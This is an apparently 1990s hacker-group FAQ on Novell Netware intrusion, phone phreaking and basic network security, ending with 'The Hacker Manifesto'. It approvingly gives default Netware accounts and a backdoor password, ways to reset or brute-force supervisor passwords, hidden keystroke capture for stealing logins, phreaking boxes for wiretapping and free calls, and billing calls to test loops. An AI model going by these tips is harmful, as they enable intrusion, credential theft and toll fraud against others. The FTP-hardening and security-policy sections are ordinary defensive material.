A. Worms are programsthat copy themselves over and over using up space and slowing down the system. They are self contained and use the networks to spread, in much the same way that Viruses use files to spread. Some people say the solution to Viruses and worms is to just not have any files or networks.

Q. What do I need to become a hacker?

A. You should start off with a good scanner, some dialups, a telnet client, and some knowladge of hacking. Those are the basic things that you will need. If you are serious about hacking then you should get Unix, or Linux(smaller, free version of unix).

Q. What are some common accounts for Novell Netware?

A. Below is a list of commonly used accounts for Novell Netware.

Account	Purpose
PRINT	Attaching to a second server for printing
LASER	Attaching to a second server for printing
HPLASER	Attaching to a second server for printing
PRINTER	Attaching to a second server for printing
LASERWRITER	Attaching to a second server for printing
POST	Attaching to a second server for email
MAIL	Attaching to a second server for email
GATEWAY	Attaching a gateway machine to the server
GATE	Attaching a gateway machine to the server
ROUTER	Attaching an email router to the server
BACKUP	May have password/station restrictions (see below), used for backing up the server to a tape unit attached to a workstation. For complete backups, Supervisor equivalence is required.
WANGTEK	See BACKUP
FAX	Attaching a dedicated fax modem unit to the network
FAXUSER	Attaching a dedicated fax modem unit to the network
FAXWORKS	Attaching a dedicated fax modem unit to the network
TEST	A test user account for temp use
ARCHIVIST	Palidrome default account for backup
CHEY_ARCHSVR	An account for Arcserve to login to the server from from the console for tape backup. Version 5.01g's password was WONDERLAND. Delete the Station Restrictions and use SUPER.EXE to toggle this account and you have an excellent backdoor.
WINDOWS_PASSTHRU	Although not required, per the Microsoft Win95 Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you need this for resource sharing without a password.

Q. How can I gain supervisor access to Novell Netware?

A. Taken from the Novell Netware FAQ.

The secret method is the method of using a DOS-based sector editor to edit the entry in the FAT, and reset the bindery to default upon server reboot. This gives you Supervisor and Guest with no passwords. The method was taught in case you lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.

Q. How do I access the password file for Novell?

A. access to the password file in Netware is not like Unix - the password file isn't in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An example of an object might be a printer, a group, an individual's account etc. An example of an object's properties might include an account's password or full user name, or a group's member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as follows:

Netware version	File Names
2.x	NET$BIND.SYS, NET$BVAL.SYS
3.x	NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located in 2.x and 3.x respectively.

Q. How do I crack a Novell password?

A. Taken from the Novell Netware Hack FAQ.

If Intruder Detection is off, you can use a "brute force" password cracker.

Encrypted passwords is Novell's way of protecting passwords from sniffers. Since older versions of Netware (2.15c) sent passwords as plain text over the wire, a sniffer could see the password as it went by. To secure things, Novell gave the administrator a way to control this. Later versions of the LOGIN.EXE program would encrypt the password before transmitting it across the wire to the server. But before this could happen, the shell (NETX) had to be updated. Since some locations had to have older shells and older versions of LOGIN.EXE to support older equipment, the administrator has the option of allowing unencrypted passwords to access the server. This is done by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping the server console every attempt! Fortunately most sites turn this switch on to support some old device.

If you have access to the console, either by standing in front of it or by RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords. Just load the NLM and pass it command line parameters:

NLM	Account(s) reset	Netware version(s) supported
SETSPASS.NLM	SUPERVISOR	3.x
SETSPWD.NLM	SUPERVISOR	3.x, 4.x
SETPWD.NLM	any valid account	3.x, 4.x

If you can plant a password catcher or keystroke reader, you can get them this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and normally you will not have access to put a file in that directory. The best place to put a keystroke capture program is in the workstation's path, with the ATTRIB set as hidden. The advantage is that you'll get the password and Netware won't know you swiped it. The disadvantage is getting access to the machine to do this. The very best place to put one of these capture programs is on a common machine, like a pcAnywhere box, which is used for remote access. Many locations will allow pcAnywhere access to a machine with virtually no software on it, and control security access to the LAN by using Netware's security features. Uploading a keystroke capture program to a machine like this defeats this.

Q. What are the domain codes?

A. Below is the current list of domain codes.

AD Andorra
AE United Arab Emirates
AF Afghanistan
AG Antigua and Barbuda
AI Anguilla
AL Albania
AM Armenia
AN Netherland Antilles
AO Angola
AQ Antarctica
AR Argentina
AS American Samoa
AT Austria
AU Australia
AW Aruba
AZ Azerbaidjan
BA Bosnia-Herzegovina
BB Barbados
BD Banglades
BE Belgium
BF Burkina Faso
BG Bulgaria
BH Bahrain
BI Burundi
BJ Benin
BM Bermuda
BN Brunei Darussalam
BO Bolivia
BR Brazil
BS Bahamas
BT Buthan
BV Bouvet Island
BW Botswana
BY Belarus
BZ Belize
CA Canada
CC Cocos (Keeling) Islands
CF Central African Republic
CG Congo

CH Switzerland
CI Ivory Coast
CK Cook Islands
CL Chile
CM Cameroon
CN China
CO Colombia
CR Costa Rica
CS Czechoslovakia
CU Cuba
CV Cape Verde
CX Christmas Island
CY Cyprus
CZ Czech Republic
DE Germany
DJ Djibouti
DK Denmark
DM Dominica
DO Dominican Republic
DZ Algeria
EC Ecuador
EE Estonia
EG Egypt
EH Western Sahara
ES Spain
ET Ethiopia
FI Finland
FJ Fiji
FK Falkland Islands (Malvinas)
FM Micronesia
FO Faroe Islands
FR France
FX France (European Territory)
GA Gabon
GB Great Britain (UK)
GD Grenada
GE Georgia
GH Ghana
GI Gibraltar
GL Greenland
GP Guadeloupe (French)
GQ Equatorial Guinea
GF Guyana (French)
GM Gambia
GN Guinea
GR Greece
GT Guatemala
GU Guam (US)
GW Guinea Bissau
GY Guyana
HK Hong Kong
HM Heard and McDonald Islands
HN Honduras
HR Croatia
HT Haiti
HU Hungary

ID Indonesia
IE Ireland
IL Israel
IN India
IO British Indian Ocean Territory
IQ Iraq
IR Iran
IS Iceland
IT Italy
JM Jamaica
JO Jordan
JP Japan
KE Kenya
KG Kirgistan
KH Cambodia
KI Kiribati
KM Comoros
KN Saint Kitts Nevis Anguilla
KP North Korea
KR South Korea
KW Kuwait
KY Cayman Islands
KZ Kazachstan
LA Laos
LB Lebanon
LC Saint Lucia
LI Liechtenstein
LK Sri Lanka
LR Liberia
LS Lesotho
LT Lithuania
LU Luxembourg
LV Latvia
LY Libya
MA Morocco
MC Monaco
MD Moldavia
MG Madagascar
MH Marshall Islands
ML Mali
MM Myanmar
MN Mongolia
MO Macau
MP Northern Mariana Islands
MQ Martinique (French)
MR Mauritania
MS Montserrat
MT Malta
MU Mauritius
MV Maldives
MW Malawi
MX Mexico
MY Malaysia
MZ Mozambique
NA Namibia
NC New Caledonia (French)

NE Niger
NF Norfolk Island
NG Nigeria
NI Nicaragua
NL Netherlands
NO Norway
NP Nepal
NR Nauru
NT Neutral Zone
NU Niue
NZ New Zealand
OM Oman
PA Panama
PE Peru
PF Polynesia (French)
PG Papua New
PH Philippines
PK Pakistan
PL Poland
PM Saint Pierre and Miquelon
PN Pitcairn
PT Portugal
PR Puerto Rico (US)
PW Palau
PY Paraguay
QA Qatar
RE Reunion (French)
RO Romania
RU Russian Federation
RW Rwanda
SA Saudi Arabia
SB Solomon Islands
SC Seychelles
SD Sudan
SE Sweden
SG Singapore
SH Saint Helena
SI Slovenia
SJ Svalbard and Jan Mayen Islands
SK Slovak Republic
SL Sierra Leone
SM San Marino
SN Senegal
SO Somalia
SR Suriname
ST Saint Tome and Principe
SU Soviet Union
SV El Salvador
SY Syria
SZ Swaziland
TC Turks and Caicos Islands
TD Chad
TF French Southern Territory
TG Togo
TH Thailand
TJ Tadjikistan

TK Tokelau
TM Turkmenistan
TN Tunisia
TO Tonga
TP East Timor
TR Turkey
TT Trinidad and Tobago
TV Tuvalu
TW Taiwan
TZ Tanzania
UA Ukraine
UG Uganda
UK United Kingdom
UM US Minor Outlying Islands
US United States
UY Uruguay
UZ Uzbekistan
VA Vatican City State
VC Saint Vincent and Grenadines
VE Venezuela
VG Virgin Islands (British)
VI Virgin Islands (US)
VN Vietnam
VU Vanuatu
WF Wallis and Futuna Islands
WS Samoa
YE Yemen
YU Yugoslavia
ZA South Africa
ZM Zambia
ZR Zaire
ZW Zimbabwe
ARPA Old style Arpanet
COM US Commercial
EDU US Educational
GOV US Government
INT International
MIL US Military
NATO Nato field
NET Network
ORG Non-Profit

Q. What is phreaking?

A. Phreaking is anything illegal that has to do with phones and phone lines.

Q. How do I start phreaking?

A. You should start by learning about boxes and reading up on different types of phreaking.

Q. What kind of boxes are there?

A.Below is a list of the most common boxes and what they do.

Acrylic Box - Steal Three-Way-Calling and Call Waiting.
Aero Box - Make free fone calls from Payfones.
Aqua Box - Drain voltage from a FBI Lock In Trace call.
Beige Box - Replicates a line mens hand-set.
Black Box - Allows the calling party not to get charged for the call they place.
Blast Box - Fone Microphone Amplifier.
Blotto Box - Shorts every fone out in the area.
Blue Box - Utilizing 2600Hz tones for free fone calls.
Brown Box - Creates a party line from 2 existing fone lines.
Bud Box - Used to tap into your neighbors fone line.
Busy Box - Used to kill the dial tone on someone's fone.
Chartreuse Box - Use the electricty from your phone for other things.
Cheese Box - Turns your fone into a Payfone.
Chrome Box - Lets you manipulate traffic signals via remote control.
Clear Box - Used to make free calls on Fortress Fones.
Copper Box - Causes cross-talk interference on an extender.
Crimson Box - Acts as a 'Hold' button for your fone.
Dark Box - REroutes outgoing or incomming calls to another fone.
Dayglo Box - Allows you to connect to your neighbors fone line.
Ditto Box - Allows you to evesdrop on another fone line.
Divertor Box - REroutes outgoing or incomming calls to another fone.
DLOC Box - Lets you confrence 2 fone lines (other than your own).
Gold Box - Allows you to trace a call or tell if its being traced.
Green Box - Lets you make the Coin Collect, Coin Return, and Ringback tones.
Jack Box - A touch-tone keypad.
Light Box - An AM Transmitter.
Lunch Box - Used to tap into your neighbors fone line.
Magenta Box - Connects one remote fone line to another remote fone line.
Mauve Box - Lets you fone tap without cutting into the fone line.
Neon Box - An external microphone.
New Gold Box - A new updated version of the Gold Box.
Noise Box - Creates line noise.
Olive Box - Used as an external ringer.
Paisley Box - A combination of almost all the boxes there are.
Pandora Box - Creates a high intensity tone which can cause pain. Good for pranking.
Party Box - Lets you make a party line from 2 fone lines.
Pearl Box - A tone generator.
Pink Box - Lets you hook 2 seprate fone lines together and have 3 way calling.
Purple Box - A fone hold button.
Rainbow Box - Kills a trace by putting 120v into the fone line.
BoRed x - Lets you make free calls from a payfone by producing the coins tones.
Rock Box - Adds music to your fone line.
Scarlet Box - Silver Box - Adds DTMF A, B, C, & D priority tones to your line.
Slush Box - Can be installed at places of business that have standard multi-line fones.
Static Box - Keep voltage on a fone line high.
Switch Box - Adds hold, indicator lights, confrence, etc.
Tan Box - Line activated telefone recorder.
Tron Box - Reverse the phase of power to your house, and make your meter run slower.
Urine Box - Makes a disturbance between the ring and tip wires in someones fone.
Violet Box - Keeps a payfone from hanging up.
White Box - A portable DTMF keypad.
Yellow Box - Add an extention fone.

Q. How do I make a box?

A. Each box has a sepperate plan to set it up. Just do a netsearch for phreaking or boxes and you can

find all the plans you need.

Q. What is a loop?

A. This FAQ answer is excerpted from:
ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number.

Q. How do I set up an anonymous FTP?

A. Taken from the Internet Security Systems, Inc. text on setting up an anonymous ftp.
- 1.Build a statically linked version of ftpd and put it in ~ftp/bin. Make sure it's owned by root.
- 2.Build a statically linked version of /bin/ls if you'll need one. Put it in ~ftp/bin. If you are on a Sun, and need to build one, there's a ported version of the BSD net2 ls command for SunOs on ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z Make sure it's owned by root.
- 3.Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT
- 4.Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would normally, EXCEPT make 'ftp's home directory '/' -- make sure they are owned by root.
- 5.Write a wrapper to kick ftpd off and install it in /etc/inetd.conf The wrapper should look something like: (assuming ~ftp = /var/ftp)

```
main()

{

if(chdir("/var/ftp")) {

        perror("chdir /var/ftp");

        exit(1);

}

if(chroot("/var/ftp")) {

        perror("chroot /var/ftp");

        exit(1);

}

/* optional: seteuid(FTPUID); */

execl("/bin/ftpd","ftpd","-l",(char *)0);

perror("exec /bin/ftpd");
```

exit(1);

}
Options:
You can use 'netacl' from the toolkit or tcp_wrappers to achieve the same effect.
We use 'netacl' to switch so that a few machines that connect to the FTP service *don't* get chrooted first. This makes transferring files a bit less painful.
You may also wish to take your ftpd sources and find all the places where it calls seteuid() and remove them, then have the wrapper do a setuid(ftp) right before the exec. This means that if someone knows a hole that makes them "root" they still won't be. Relax and imagine how frustrated they will be.
If you're hacking ftpd sources, I suggest you turn off a bunch of the options in ftpcmd.y by unsetting the "implemented" flag in ftpcmd.y. This is only practical if your FTP area is read-only.

- 6.As usual, make a pass through the FTP area and make sure that the files are in correct modes and that there's nothing else in there that can be executed.
- 7.Note, now, that your FTP area's /etc/passwd is totally separated from your real /etc/passwd. This has advantages and disadvantages.
- 8.Some stuff may break, like syslog, since there is no /dev/log. Either build a version of ftpd with a UDP-based syslog() routine or run a second syslogd based on the BSD Net2 code, that maintains a unix-domain socket named ~ftp/dev/log with the -p flag.

Q. What are some ways I can secure a network?

A. Taken from the Internet Security Systems text on securing a network.
1. Well first of all you should know what type of resources that you're trying to protect: CPU, files, storage devices phone lines, etc...
2. Determine the host-specific security measures needed. Password protection, file encryption, firewall, etc...
Determine who the computer systems must be defended.
Determine the likelihood of a threat.
Implement measures to protect network resource.

3. Consider the corporate budget when planning for Internet Security.

4. Design a Security Policy that describes your organization's network security concerns. This policy should take into account the following:

Network Security Planning
Site Security Policy
Risk Analysis
Risk analysis involves determining the following:
What you need to protect
What you need to protect it from
How to protect it
Estimating the risk of losing the resource
Estimating the importance of the resource

5. Consider the following factors to determine who will grant access to services on your networks:
Will access to services be granted from a central point?
What methods will you use to create accounts and terminate access?

6. Design and Implement Packet Filter Rules

7. Ensure your Firewall has the following properties:
   All traffic from inside to outside, as well as outside to inside must pass through the firewall.
   Allow only authorized traffic as defined by your corporate security policy be passed through the firewall.
   Ensure the firewall is immune to penetration.

8. Educate users about password protection:
   Educating users not to use passwords that are easy to guess.
   Ensuring the password lengths are adequate.
   Running a password guesser.
   Requiring the use of a password generator.
   Always using a mixture of upper- and lowercase characters.
   Always using at least one or two non-alphanumeric characters.
   Never using dictionary words or ones spelled backwards.
   Never using a portion or variation of a proper name, address or anything that could obviously identify you (the user).

9. Security-related organizations play an integral role in the development and deployment of Internet technologies. Keep abreast of the latest in security-related activities by visiting their Web sites. Here are some key security-rated organizations which aid corporations such as yours in keeping the Internet a safer place to compute:
   ACM/SIGSAC at gopher://gopher.acm.org/.
   CERT (a 24-hour Computer Emergency Response Team) at: ftp://info.cert.org/pub/cert_faq and http://www.sei.cmu.edu/SEI/programs/cert.html.
   CIAC (U.S. Department of Energy's Computer Incident Advisory Capability) at: http://ciac.llnl.gov/
   CPSR (Computer Professionals for Social Responsibility) at: http://cpsr.org.home
   EFF (Electronic Frontier Foundation) at: http://www.eff.org/
   EPIC (Electronic Privacy Information Center) at: http:/epic.org/
   FIRST (Forum of Incident Reponse and Security Teams) at: http://first.org/first/
   Internet Society at http://www.isoc.org/

Q. What is a "rainbow book?"

A. Rainbow Books are books on security. The current book listing is listed below.

Orange Book- Department of Defense Trusted Computer System Evaluation Criteria.
Green Book- Department of Defense Password Management Guideline.
Yellow Book- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.
Tan Book- A Guide to Understanding Audit in Trusted Systems.
Bright Blue Book- A Guide for Vendors.
Neon Orange Book- A Guide to Understanding Discretionary Access Control in Trusted Systems.
Teal Green Book- Glossary of Computer Security Terms.
Red Book- Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria.
Burgandy Book- A Guide to Understanding Design Documentation in Trusted Systems.
Dark Lavender Book- A Guide to Understanding Trusted Distribution in Trusted Systems.
Venice Blue Book- Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria.
Aqua Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Security Modeling in Trusted Systems.
Dark Red Book- Guidance for Applying the Trusted Network Interpretation.

Pink Book- Department of Defense Trusted Computer System Evaluation Criteria Rating Maintenance Phase.
Purple Book- Department of Defense Trusted Computer System Evaluation Criteria Guidelines for Formal Verification Systems.
Brown Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Trusted Facility Management.
Yellow-Green Book- Department of Defense Trusted Computer System Evaluation Criteria Guidelines for Writing Trusted Facility Manuals.
Light Blue Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Identification and Authentication in Trusted Systems.
Blue Book- Department of Defense Trusted Computer System Evaluation Criteria Trusted Product Evaluation Questionnaire.
Grey Book-Department of Defense Trusted Computer System Evaluation Criteria Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System.
Lavender Book- Department of Defense Trusted Computer System Evaluation Criteria Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria.
Bright Orange Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understandng Security Testing and Test Documentation in Trusted Systems.
Hot Peach Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Writing the Security Features User's Guide for Trusted Systems.
Turquoise Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems.
Violet Book- Department of Defense Trusted Computer System Evaluation Criteria Assessing Controlled Access Protection.
Light Pink Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Covert Channel Analysis of Trusted Systems.
C1 Technical Report-001- Department of Defense Trusted Computer System Evaluation Criteria Computer Viruses: Prevention, Detection, and Treatment.
C Technical Report 79-91- Department of Defense Trusted Computer System Evaluation Criteria Integrity in Automated Information Systems.
C Technical Report 39-92- Department of Defense Trusted Computer System Evaluation Criteria The Design and Evaluation of INFOSEC systems: The Computer Security Contributions to the Composition Discussion.
NTISSAM COMPUSEC/1-87- Department of Defense Trusted Computer System Evaluation Criteria Advisory Memorandum on Office Automation Security Guideline.

Q. What is a firewall?

A. A firewall is a system or group of systems that enforces an access control policy between two networks. The actual means by which this is accomplished varies widely, but in principle, the firewall can be thought of as a pair of mechanisms: one which exists to block traffic, and the other which exists to permit traffic. Some firewalls place a greater emphasis on blocking traffic, while others emphasize permitting traffic. Probably the most important thing to recognize about a firewall is that it implements an access control policy. If you don't have a good idea what kind of access you want to permit or deny, or you simply permit someone or some product to configure a
firewall based on what they or it think it should do, then they are making policy for your organization as a whole.

Q. How can I use PGP to benefit me?

A. PGP is easy to use, it does give you enough rope so that you can hang yourself. You should become thoroughly familiar with the various options in PGP before using it to send serious messages. For example, giving the command pgp -sat <filename> will only sign a message, it

will not encrypt it. Even though the output looks like it is encrypted, it really isn't. Anybody in the world would be able to recover the original text.

Q. What is a sniffer?

A. Taken from the Sniffer FAQ.
Unlike telephone circuits, computer networks are shared communication channels. It is simply too expensive to dedicate local loops to the switch (hub) for each pair of communicating computers. Sharing means that computers can receive information that was intended for other machines. To capture the information going over the network is called sniffing.

The most popular way of connecting computers is through ethernet. Ethernet protocol works by sending packet information to all the hosts on the same circuit. The packet header contains the proper address of the destination machine. Only the machine with the matching address is suppose to accept the packet. A machine that is accepting all packets, no matter what the packet header says, is said to be in promiscuous mode.

Because, in a normal networking environment, account and password information is passed along ethernet in clear-text, it is not hard for an intruder once they obtain root to put a machine into promiscuous mode and by sniffing, compromise all the machines on the net.

Q. What is Psychotic?

A. I would describe Psychotic as more of a proffessional group rather than just a hacking clan. We think about money first and hacking second, even though I'm sure that most of you have seen a few of our hacking projects...

Q. Is psychotic looking for new members?

A. Well as of now we aren't looking for any additions to our staff, but stay posted we might decide that we need new members.

Q. What is Psychosis?

A. Psychosis is a personal project taken up by Virtual Circuit. It's an award that he gives out to hackers that have done something to stand out(good webpage, revealed exploits, etc.). If you think that you should receive the award you can mail him about it. But I can tell you now that the award isn't easy to get.

Q. What is the "Devil's Gateway?"

A. The "Devil's Gateway" is a personal project taken up by VooDooHex. It's kind of like an information retrival guild, but yet it's still like a group. If you are interested in joining the Devil's Gateway you should mail VooDoo about it.

Q. Where can I find some good resources on hacking and phreaking?

A. Well we aren't much for links but you should check the Psychosis page for his webpage award winners. He picks only the best.

Q. Who are all the members in Psychotic?

A. We would like to stay anonymous. But you will see a members name every now and then.

Q. What are Psychotic's offered services?

A. Psychotic has many different services, security testing, webpage design, graphic design, sponsoring, pop accounts, and webpage hosting. Each service has a different price. You can read more about our services on the services section of the page.

This is only the fisrt copy of our FAQ. We will be updating and adding information and questions to it as often as possible. I would appriciate if you would distribute and spready this text as much as you can. We don't want people asking us these questions anymore. Have fun and keep the underground alive.

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me... Damn underachiever.They're all alike. I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it inmy head..." Damn kid. Probably copied it. They're all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike. And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike... You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto. You may stop this individual,but you can't stop us all... after all, we're all alike.

+++The Mentor+++

Needed Files for Hacking

ActiveX 6.02	-Microsoft ActiveX Control Pack...- winsck.ocx
bwcc32	-bwcc32.dll
cswskctl	-cswskctl.vbx
cswsock	-cswsock.vbx
cygwin	-cygwin.dll
dssock32	-dssock32.ocx
icmp	-icmp.dll
ipdaem32	-ipdaem32.ocx
ipport	-ipport.vbx
msvbm50	-msvbm50.dll
oc25	-oc25.dll
vb40016	-vb40016.dll
vb40032	-vb40032.dll
vbrun300	-vbrun300.dll
ws2setup	-Winsock 2.2 Upgrade